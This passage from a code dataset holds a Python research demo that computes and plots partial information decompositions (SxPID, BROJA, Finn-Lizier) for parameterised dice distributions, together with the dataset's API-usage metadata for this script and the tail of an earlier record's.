{"api_name": "wx.ALL", "line_number": 51, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 56, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 59, "usage_type": "attribute"}, {"api_name": "wx.BOTH", "line_number": 66, "usage_type": "attribute"}, {"api_name": "wx.EVT_BUTTON", "line_number": 69, "usage_type": "attribute"}, {"api_name": "wx.Dialog", "line_number": 87, "usage_type": "attribute"}, {"api_name": "wx.Dialog.__init__", "line_number": 99, "usage_type": "call"}, {"api_name": "wx.Dialog", "line_number": 99, "usage_type": "attribute"}, {"api_name": "wx.ID_ANY", "line_number": 99, "usage_type": "attribute"}, {"api_name": "wx.DefaultPosition", "line_number": 99, "usage_type": "attribute"}, {"api_name": "wx.DefaultSize", "line_number": 99, "usage_type": "attribute"}, {"api_name": "wx.DEFAULT_DIALOG_STYLE", "line_number": 99, "usage_type": "attribute"}, {"api_name": "wx.DefaultSize", "line_number": 101, "usage_type": "attribute"}, {"api_name": "wx.BoxSizer", "line_number": 103, "usage_type": "call"}, {"api_name": "wx.VERTICAL", "line_number": 103, "usage_type": "attribute"}, {"api_name": "wx.BoxSizer", "line_number": 105, "usage_type": "call"}, {"api_name": "wx.VERTICAL", "line_number": 105, "usage_type": "attribute"}, {"api_name": "wx.Panel", "line_number": 107, "usage_type": "call"}, {"api_name": "wx.ID_ANY", "line_number": 107, "usage_type": "attribute"}, {"api_name": "wx.DefaultPosition", "line_number": 107, "usage_type": "attribute"}, {"api_name": "wx.DefaultSize", "line_number": 107, "usage_type": "attribute"}, {"api_name": "wx.TAB_TRAVERSAL", "line_number": 107, "usage_type": "attribute"}, {"api_name": "wx.BoxSizer", "line_number": 108, "usage_type": "call"}, {"api_name": "wx.VERTICAL", "line_number": 108, "usage_type": "attribute"}, {"api_name": "wx.BoxSizer", "line_number": 109, "usage_type": "call"}, {"api_name": "wx.HORIZONTAL", "line_number": 109, "usage_type": "attribute"}, {"api_name": "wx.StaticText", "line_number": 116, "usage_type": "call"}, {"api_name": "wx.ALIGN_CENTER", "line_number": 116, "usage_type": "attribute"}, {"api_name": "wx.Font", "line_number": 117, "usage_type": "call"}, {"api_name": "wx.FONTFAMILY_DEFAULT", "line_number": 117, "usage_type": "attribute"}, {"api_name": "wx.FONTSTYLE_NORMAL", "line_number": 117, "usage_type": "attribute"}, {"api_name": "wx.FONTWEIGHT_BOLD", "line_number": 117, "usage_type": "attribute"}, {"api_name": "wx.ALIGN_CENTER", "line_number": 121, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 121, "usage_type": "attribute"}, {"api_name": "wx.Button", "line_number": 123, "usage_type": "call"}, {"api_name": "wx.ID_ANY", "line_number": 123, "usage_type": "attribute"}, {"api_name": "wx.DefaultPosition", "line_number": 123, "usage_type": "attribute"}, {"api_name": "wx.DefaultSize", "line_number": 123, "usage_type": "attribute"}, {"api_name": "wx.ALIGN_CENTER", "line_number": 124, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 124, "usage_type": "attribute"}, {"api_name": "wx.Button", "line_number": 126, "usage_type": "call"}, {"api_name": "wx.ID_ANY", "line_number": 126, "usage_type": "attribute"}, {"api_name": "wx.DefaultPosition", "line_number": 126, "usage_type": "attribute"}, {"api_name": "wx.DefaultSize", "line_number": 126, "usage_type": "attribute"}, {"api_name": "wx.ALIGN_CENTER", "line_number": 127, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 127, "usage_type": "attribute"}, {"api_name": "wx.ALIGN_CENTER", "line_number": 129, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 129, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 134, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 137, "usage_type": "attribute"}, {"api_name": "wx.BOTH", "line_number": 144, "usage_type": "attribute"}, {"api_name": "wx.EVT_BUTTON", "line_number": 147, "usage_type": "attribute"}, {"api_name": "wx.EVT_BUTTON", "line_number": 148, "usage_type": "attribute"}, {"api_name": "wx.Dialog", "line_number": 181, "usage_type": "attribute"}, {"api_name": "wx.Dialog.__init__", "line_number": 193, "usage_type": "call"}, {"api_name": "wx.Dialog", "line_number": 193, "usage_type": "attribute"}, {"api_name": "wx.ID_ANY", "line_number": 193, "usage_type": "attribute"}, {"api_name": "wx.DefaultPosition", "line_number": 193, "usage_type": "attribute"}, {"api_name": "wx.DefaultSize", "line_number": 193, "usage_type": "attribute"}, {"api_name": "wx.DEFAULT_DIALOG_STYLE", "line_number": 193, "usage_type": "attribute"}, {"api_name": "wx.DefaultSize", "line_number": 195, "usage_type": "attribute"}, {"api_name": "wx.BoxSizer", "line_number": 197, "usage_type": "call"}, {"api_name": "wx.VERTICAL", "line_number": 197, "usage_type": "attribute"}, {"api_name": "wx.BoxSizer", "line_number": 199, "usage_type": "call"}, {"api_name": "wx.VERTICAL", "line_number": 199, "usage_type": "attribute"}, {"api_name": "wx.Panel", "line_number": 201, "usage_type": "call"}, {"api_name": "wx.ID_ANY", "line_number": 201, "usage_type": "attribute"}, {"api_name": "wx.DefaultPosition", "line_number": 201, "usage_type": "attribute"}, {"api_name": "wx.DefaultSize", "line_number": 201, "usage_type": "attribute"}, {"api_name": "wx.TAB_TRAVERSAL", "line_number": 201, "usage_type": "attribute"}, {"api_name": "wx.BoxSizer", "line_number": 202, "usage_type": "call"}, {"api_name": "wx.VERTICAL", "line_number": 202, "usage_type": "attribute"}, {"api_name": "wx.StaticText", "line_number": 207, "usage_type": "call"}, {"api_name": "wx.ALIGN_CENTER", "line_number": 207, "usage_type": "attribute"}, {"api_name": "wx.Font", "line_number": 208, "usage_type": "call"}, {"api_name": "wx.FONTFAMILY_DEFAULT", "line_number": 208, "usage_type": "attribute"}, {"api_name": "wx.FONTSTYLE_NORMAL", "line_number": 208, "usage_type": "attribute"}, {"api_name": "wx.FONTWEIGHT_BOLD", "line_number": 208, "usage_type": "attribute"}, {"api_name": "wx.ALIGN_CENTER", "line_number": 212, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 212, "usage_type": "attribute"}, {"api_name": "wx.Button", "line_number": 214, "usage_type": "call"}, {"api_name": "wx.ID_ANY", "line_number": 214, "usage_type": "attribute"}, {"api_name": "wx.DefaultPosition", "line_number": 214, "usage_type": "attribute"}, {"api_name": "wx.DefaultSize", "line_number": 214, "usage_type": "attribute"}, {"api_name": "wx.ALIGN_CENTER", "line_number": 215, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 215, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 220, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 223, "usage_type": "attribute"}, {"api_name": "wx.BOTH", "line_number": 230, "usage_type": "attribute"}, {"api_name": "wx.EVT_BUTTON", "line_number": 233, "usage_type": "attribute"}, {"api_name": "wx.Dialog", "line_number": 253, "usage_type": "attribute"}, {"api_name": "wx.Dialog.__init__", "line_number": 261, "usage_type": "call"}, {"api_name": "wx.Dialog", "line_number": 261, "usage_type": "attribute"}, {"api_name": "wx.ID_ANY", "line_number": 261, "usage_type": "attribute"}, {"api_name": "wx.DefaultPosition", "line_number": 261, "usage_type": "attribute"}, {"api_name": "wx.DefaultSize", "line_number": 261, "usage_type": "attribute"}, {"api_name": "wx.DEFAULT_DIALOG_STYLE", "line_number": 261, "usage_type": "attribute"}, {"api_name": "wx.DefaultSize", "line_number": 263, "usage_type": "attribute"}, {"api_name": "wx.BoxSizer", "line_number": 265, "usage_type": "call"}, {"api_name": "wx.VERTICAL", "line_number": 265, "usage_type": "attribute"}, {"api_name": "wx.BoxSizer", "line_number": 267, "usage_type": "call"}, {"api_name": "wx.VERTICAL", "line_number": 267, "usage_type": "attribute"}, {"api_name": "wx.Panel", "line_number": 269, "usage_type": "call"}, {"api_name": "wx.ID_ANY", "line_number": 269, "usage_type": "attribute"}, {"api_name": "wx.DefaultPosition", "line_number": 269, "usage_type": "attribute"}, {"api_name": "wx.DefaultSize", "line_number": 269, "usage_type": "attribute"}, {"api_name": "wx.TAB_TRAVERSAL", "line_number": 269, "usage_type": "attribute"}, {"api_name": "wx.BoxSizer", "line_number": 270, "usage_type": "call"}, {"api_name": "wx.VERTICAL", "line_number": 270, "usage_type": "attribute"}, {"api_name": "wx.StaticText", "line_number": 275, "usage_type": "call"}, {"api_name": "wx.ALIGN_CENTER", "line_number": 275, "usage_type": "attribute"}, {"api_name": "wx.Font", "line_number": 276, "usage_type": "call"}, {"api_name": "wx.FONTFAMILY_DEFAULT", "line_number": 276, "usage_type": "attribute"}, {"api_name": "wx.FONTSTYLE_NORMAL", "line_number": 276, "usage_type": "attribute"}, {"api_name": "wx.FONTWEIGHT_BOLD", "line_number": 276, "usage_type": "attribute"}, {"api_name": "wx.ALIGN_CENTER", "line_number": 280, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 280, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 285, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 288, "usage_type": "attribute"}, {"api_name": "wx.BOTH", "line_number": 295, "usage_type": "attribute"}]} {"seq_id": "4600135852", "text": "# test_dice.py\n\nfrom sys import path\npath.insert(0, \"../../../BROJA_2PID\")\nimport BROJA_2PID\nfrom sxpid import SxPID\nimport time\nimport matplotlib.pyplot as plt\nimport dit\n\n\n# The dice distribution:\n# T = S_1 + alpha*S_2\n# P(S_1 = i , S_2 = j) = lambda/36 + (1-lambda)delta_{i,j}/6\ndef generate_dice_pdfs(num_a, num_ell):\n pdfs = dict()\n for a in range(1, num_a + 1): \n for lam in range(num_ell + 1):\n ell = lam/num_ell\n pdf = dict()\n for i in range(6):\n for j in range(6):\n t = i + a*j\n if i == j: pdf[( i, j, t )] = ell/36 + (1-ell)/6\n else: pdf[( i, j, t)] = ell/36\n #^ for j\n #^ for i\n pdfs[(a,ell)] = pdf\n #^ for lam\n #^ for a\n\n return pdfs\n#^ generate_dice_pdfs()\n\n\n# The dice type 2 distribution:\n# T = S_1 + 6*S_2 mod alpha\n# P(S_1 = i , S_2 = j) = lambda/36 + (1-lambda)delta_{i,j}/6\ndef generate_dice_type_2_pdfs(num_a, num_ell):\n pdfs = dict()\n for a in range(1, num_a + 1): \n for lam in range(num_ell + 1):\n ell = lam/num_ell\n pdf = dict()\n for i in range(6):\n for j in range(6):\n t = (i + a*j) % a\n if i == j: pdf[( i, j, t )] = ell/36 + (1-ell)/6\n else: pdf[( i, j, t)] = ell/36\n #^ for j\n #^ for i\n pdfs[(a,ell)] = pdf\n #^ for lam\n #^ for a\n return pdfs\n#^ generate_dice_type_2_pdfs()\n\n# Compute SxPID\ndef compute_sxpid(pdfs, lattices):\n shared = dict()\n synergy = dict()\n unique_1 = dict()\n unique_2 = dict()\n n = 2\n for k in pdfs.keys():\n # # Print the distribution in a nice format\n # pts = []\n # values = []\n # for pt, v in pdfs[k].items():\n # pts.append(pt)\n # values.append(v)\n # #^ for\n # dpdf = dit.Distribution(pts, values, base='linear', validate=False)\n # print(dpdf)\n # Compute SxPID\n ptw, avg = SxPID.pid(pdfs[k])\n shared[k] = avg[((1,),(2,),)][2]\n synergy[k] = avg[((1,2,),)][2]\n unique_1[k] = avg[((1,),)][2]\n unique_2[k] = avg[((2,),)][2]\n # print(\"_sxpid\", shared[k] + synergy[k] + unique_1[k] + unique_2[k])\n #^ for pdfs\n return shared, synergy, unique_1, unique_2\n#^ compute_sxpid()\n\n# Broja format of pdf \ndef sxpid_to_broja2pid_pdf(pdf):\n pdf_broja2pid = dict()\n for k,v in pdf.items():\n pdf_broja2pid[(k[2], k[0], k[1])] = v\n #^ for\n return pdf_broja2pid\n#^ to_broja2pid_gate()\n\n# Compute BROJA PID\ndef compute_broja(pdfs):\n # ECOS parameters \n parms = dict()\n parms['abstol'] = 1.e-15\n parms['feastol'] = 1.e-15\n #parms['keep_solver_object'] = True\n shared = dict()\n synergy = dict()\n unique_1 = dict()\n unique_2 = dict()\n for k in pdfs.keys():\n broja2pid_pdf = sxpid_to_broja2pid_pdf(pdfs[k])\n returndata = BROJA_2PID.pid(broja2pid_pdf, cone_solver=\"ECOS\", output=0, **parms)\n\n shared[k] = returndata['SI']\n synergy[k] = returndata['CI']\n unique_1[k] = returndata['UIY']\n unique_2[k] = returndata['UIZ']\n\n # msg=\"\"\"Shared information: {SI}\n # Unique information in Y: {UIY}\n # Unique information in Z: {UIZ}\n # Synergistic information: {CI}\n # Primal feasibility: {Num_err[0]}\n # Dual feasibility: {Num_err[1]}\n # Duality Gap: {Num_err[2]}\"\"\"\n # print(msg.format(**returndata))\n # print(\"_broja\", shared[k] + synergy[k] + unique_1[k] + unique_2[k])\n #^ for pdfs\n\n return shared, synergy, unique_1, unique_2\n#^ compute_broja()\n\ndef compute_fl(pdfs, shared_br, synergy_br, unique_1_br, unique_2_br):\n shared = dict()\n synergy = dict()\n unique_1 = dict()\n unique_2 = dict()\n for k in pdfs.keys():\n pts = []\n values = []\n for pt, v in pdfs[k].items():\n pts.append(pt)\n values.append(v)\n #^ for\n dpdf = dit.Distribution(pts, values, base='linear', validate=False)\n shared[k] = dit.pid.ipm.PID_PM._measure(dpdf, ((0,), (1,)), (2,))\n unique_1[k] = shared_br[k] + unique_1_br[k] - shared[k] \n unique_2[k] = shared_br[k] + unique_2_br[k] - shared[k]\n synergy[k] = shared_br[k] + synergy_br[k] + unique_1_br[k] + unique_2_br[k] - shared[k] - unique_1[k] - unique_2[k]\n # print(\"_red\", shared[k] + synergy[k] + unique_1[k] + unique_2[k])\n print(\"a\", k[0])\n print(dpdf)\n #^ for\n return shared, synergy, unique_1, unique_2\n#^ compute_fl()\n\n# def compute_red(pdfs, shared_br, synergy_br, unique_1_br, unique_2_br):\n# shared = dict()\n# synergy = dict()\n# unique_1 = dict()\n# unique_2 = dict()\n# for k in pdfs.keys():\n# pts = []\n# values = []\n# for pt, v in pdfs[k].items():\n# pts.append(pt)\n# values.append(v)\n# #^ for\n# dpdf = dit.Distribution(pts, values, base='linear', validate=False)\n# shared[k] = dit.pid.iproj.PID_Proj._measure(dpdf, ((0,), (1,)), (2,))\n# unique_1[k] = shared_br[k] + unique_1_br[k] - shared[k] \n# unique_2[k] = shared_br[k] + unique_2_br[k] - shared[k]\n# synergy[k] = shared_br[k] + synergy_br[k] + unique_1_br[k] + unique_2_br[k] - shared[k] - unique_1[k] - unique_2[k]\n# # print(\"_red\", shared[k] + synergy[k] + unique_1[k] + unique_2[k])\n# print(dpdf)\n# #^ for\n# return shared, synergy, unique_1, unique_2\n# #^ compute_red()\n\n\ndef generate_pid_figure(num_a, num_lam, _sxpid, _broja, _fl, pid_term):\n plt.figure()\n plt.suptitle(pid_term)\n for a in range(1, num_a + 1):\n x = []\n y_sxpid = []\n y_broja = []\n y_fl = []\n for lam in range(num_lam + 1):\n x.append(lam/num_lam)\n y_sxpid.append(_sxpid[(a,lam/num_lam)])\n y_broja.append(_broja[(a,lam/num_lam)])\n y_fl.append(_fl[(a,lam/num_lam)])\n #^ for lam\n plt.subplot(221)\n plt.plot(x,y_sxpid,label=r'$\\alpha$ = '+str(a))\n if a == num_a:\n plt.xlabel('$\\lambda$')\n plt.ylabel('bits')\n plt.legend()\n plt.title('SxPID')\n #^ if labels\n\n plt.subplot(222)\n plt.plot(x,y_fl,label=r'$\\alpha$ = '+str(a))\n if a == num_a:\n plt.xlabel('$\\lambda$')\n plt.ylabel('bits')\n plt.legend()\n plt.title('Finn-Lizier')\n #^ if labels\n\n plt.subplot(223)\n plt.plot(x,y_broja,label=r'$\\alpha$ = '+str(a))\n if a == num_a:\n plt.xlabel('$\\lambda$')\n plt.ylabel('bits')\n plt.legend()\n plt.title('BROJA')\n #^ if labels\n #^ for a\n return 0 \n#^ generate_pid_figure()\n\n\ndef generate_mi_figure(num_a, num_lam, _shared, _synergy, _unique_1, _unique_2):\n plt.figure()\n plt.suptitle(\"Mutual Information\")\n for a in range(1, num_a + 1):\n x = []\n y_mi_1 = []\n y_mi_2 = []\n y_cmi_1 = []\n y_cmi_2 = []\n y_mi_1_2 = []\n y_mi_1_2_3 = []\n for lam in range(num_lam + 1):\n x.append(lam/num_lam)\n y_mi_1.append(_shared[(a,lam/num_lam)] + _unique_1[(a,lam/num_lam)])\n y_mi_2.append(_shared[(a,lam/num_lam)] + _unique_2[(a,lam/num_lam)])\n y_cmi_1.append(_synergy[(a,lam/num_lam)] + _unique_1[(a,lam/num_lam)])\n y_cmi_2.append(_synergy[(a,lam/num_lam)] + _unique_2[(a,lam/num_lam)])\n y_mi_1_2.append(_shared[(a,lam/num_lam)] + _unique_1[(a,lam/num_lam)] + _synergy[(a,lam/num_lam)] + _unique_2[(a,lam/num_lam)])\n y_mi_1_2_3.append(_shared[(a,lam/num_lam)] - _synergy[(a,lam/num_lam)])\n #^ for lam\n plt.subplot(321)\n plt.plot(x,y_mi_1,label=r'$\\alpha$ = '+str(a))\n if a == num_a:\n plt.xlabel('$\\lambda$')\n plt.ylabel('bits')\n plt.legend()\n plt.title(r'$I(T:S^{(1)})$')\n #^ if labels\n\n plt.subplot(322)\n plt.plot(x,y_mi_2,label=r'$\\alpha$ = '+str(a))\n if a == num_a:\n plt.xlabel('$\\lambda$')\n plt.ylabel('bits')\n plt.legend()\n plt.title('$I(T:S^{(2)})$')\n #^ if labels\n\n plt.subplot(323)\n plt.plot(x,y_cmi_1,label=r'$\\alpha$ = '+str(a))\n if a == num_a:\n plt.xlabel('$\\lambda$')\n plt.ylabel('bits')\n plt.legend()\n plt.title('$I(T:S^{(1)}\\mid S^{(2)})$')\n #^ if labels\n plt.subplot(324)\n plt.plot(x,y_cmi_2,label=r'$\\alpha$ = '+str(a))\n if a == num_a:\n plt.xlabel('$\\lambda$')\n plt.ylabel('bits')\n plt.legend()\n plt.title('$I(T:S^{(2)}\\mid S^{(1)})$')\n #^ if labels\n plt.subplot(325)\n plt.plot(x,y_mi_1_2,label=r'$\\alpha$ = '+str(a))\n if a == num_a:\n plt.xlabel('$\\lambda$')\n plt.ylabel('bits')\n plt.legend()\n plt.title('$I(T:S^{(2)},S^{(1)})$')\n #^ if labels\n plt.subplot(326)\n plt.plot(x,y_mi_1_2_3,label=r'$\\alpha$ = '+str(a))\n if a == num_a:\n plt.xlabel('$\\lambda$')\n plt.ylabel('bits')\n plt.legend()\n plt.title('$I(T:S^{(2)}:S^{(1)})$')\n #^ if labels\n #^ for a\n return 0 \n#^ generate_figure()\n\n# Check the cst hypothesis:\ndef compute_ptw(pdfs, lattices):\n ptw_k = dict()\n n = 2\n for k in pdfs.keys():\n ptw, avg = SxPID.pid(n, pdfs[k], lattices[n][0], lattices[n][1], False)\n ptw_k[k] = ptw\n #^ for pdfs\n return ptw_k\n#^ compute_ptw()\n\ndef check_cst_ptw(num_a, num_lam, ptw_k, frac=False):\n for lam in range(num_lam + 1):\n for a in range(1, num_a + 1):\n for rlz in ptw_k[(a,lam/num_lam)].keys():\n assert abs(ptw_k[(a,lam/num_lam)][rlz][((1,),)][1]) < 1.e-8, \"mis-unique S1 fail \"\n assert abs(ptw_k[(a,lam/num_lam)][rlz][((2,),)][1]) < 1.e-8, \"mis-unique S2 fail \"\n assert abs(ptw_k[(a,lam/num_lam)][rlz][((1,2,),)][1]) < 1.e-8, \"mis-synergy fail \" \n for b in range(1, num_a + 1):\n if rlz in ptw_k[(b,lam/num_lam)].keys():\n assert abs(ptw_k[(a,lam/num_lam)][rlz][((1,),)][0] - ptw_k[(b,lam/num_lam)][rlz][((1,),)][0]) < 1.e-8, \"unique S1 fail \"\n assert abs(ptw_k[(a,lam/num_lam)][rlz][((2,),)][0] - ptw_k[(b,lam/num_lam)][rlz][((2,),)][0]) < 1.e-8, \"unique S2 fail \"\n assert abs(ptw_k[(a,lam/num_lam)][rlz][((1,2),)][0] - ptw_k[(b,lam/num_lam)][rlz][((1,2),)][0]) < 1.e-8, \"synergy fail \"\n #^ if \n #^ for b\n #^ for rlz\n #^ for a\n #^ for lam\n return 0\n#^ check_cst_ptw\n\ndef main():\n # Read lattices from a file\n # Pickled as { n -> [{alpha -> children }, (alpha_1, ...)] }\n f = open(\"../sxpid/lattices.pkl\", \"rb\")\n lattices = pickle.load(f)\n num_a = 6\n num_lam = 100\n # pdfs = generate_dice_pdfs(num_a, num_lam)\n pdfs = generate_dice_type_2_pdfs(num_a, num_lam)\n shared_sxpid, synergy_sxpid, unique_1_sxpid, unique_2_sxpid = compute_sxpid(pdfs,lattices)\n shared_broja, synergy_broja, unique_1_broja, unique_2_broja = compute_broja(pdfs)\n shared_fl, synergy_fl, unique_1_fl, unique_2_fl = compute_fl(pdfs, shared_broja, synergy_broja, unique_1_broja, unique_2_broja)\n generate_pid_figure(num_a, num_lam, shared_sxpid, shared_broja, shared_fl, 'Shared Information')\n generate_pid_figure(num_a, num_lam, synergy_sxpid, synergy_broja, synergy_fl, 'Synergistic Information')\n generate_pid_figure(num_a, num_lam, unique_1_sxpid, unique_1_broja, unique_1_fl, 'Unique D1 Information')\n generate_pid_figure(num_a, num_lam, unique_2_sxpid, unique_2_broja, unique_2_fl, 'Unique D2 Information')\n generate_mi_figure(num_a, num_lam, shared_broja, synergy_broja, unique_1_broja, unique_2_broja)\n plt.show()\n return 0\n#^ main()\n\n#-------\n# Run it\n#-------\n\nmain()\n# f = open(\"../sxpid/lattices.pkl\", \"rb\")\n# lattices = pickle.load(f)\n# pdfs = generate_dice_pdfs(6,100)\n# ptw_k = compute_ptw(pdfs, lattices)\n# check_cst_ptw(6, 100, ptw_k)\n", "repo_name": "Abzinger/SxPID", "sub_path": "demos/demo_dice_example.py", "file_name": "demo_dice_example.py", "file_ext": "py", "file_size_in_byte": 12326, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sys.path.insert", "line_number": 4, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 4, "usage_type": "name"}, {"api_name": "sxpid.SxPID.pid", "line_number": 76, "usage_type": "call"}, {"api_name": "sxpid.SxPID", "line_number": 76, "usage_type": "name"}, {"api_name": "BROJA_2PID.pid", "line_number": 108, "usage_type": "call"}, {"api_name": "dit.Distribution", "line_number": 141, "usage_type": "call"}, {"api_name": "dit.pid.ipm.PID_PM._measure", "line_number": 142, "usage_type": "call"}, {"api_name": "dit.pid", "line_number": 142, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 178, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 178, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.suptitle", "line_number": 179, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 179, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 191, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 191, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 192, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 192, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 194, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 194, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 195, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 195, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 196, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 196, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 197, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 197, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 200, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 200, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 201, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 201, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 203, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 203, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 204, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 204, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 205, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 205, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 206, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 206, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 209, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 209, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 210, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 210, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 212, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 212, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 213, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 213, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 214, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 214, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 215, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 215, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 223, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 223, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.suptitle", "line_number": 224, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 224, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 242, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 242, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 243, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 243, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 245, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 245, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 246, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 246, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 247, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 247, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 248, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 248, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 251, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 251, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 252, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 252, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 254, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 254, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 255, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 255, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 256, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 256, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 257, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 257, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 260, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 260, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 261, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 261, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 263, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 263, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 264, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 264, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 265, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 265, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 266, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 266, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 268, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 268, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 269, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 269, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 271, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 271, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 272, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 272, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 273, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 273, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 274, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 274, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 276, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 276, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 277, "usage_type": "call"}, 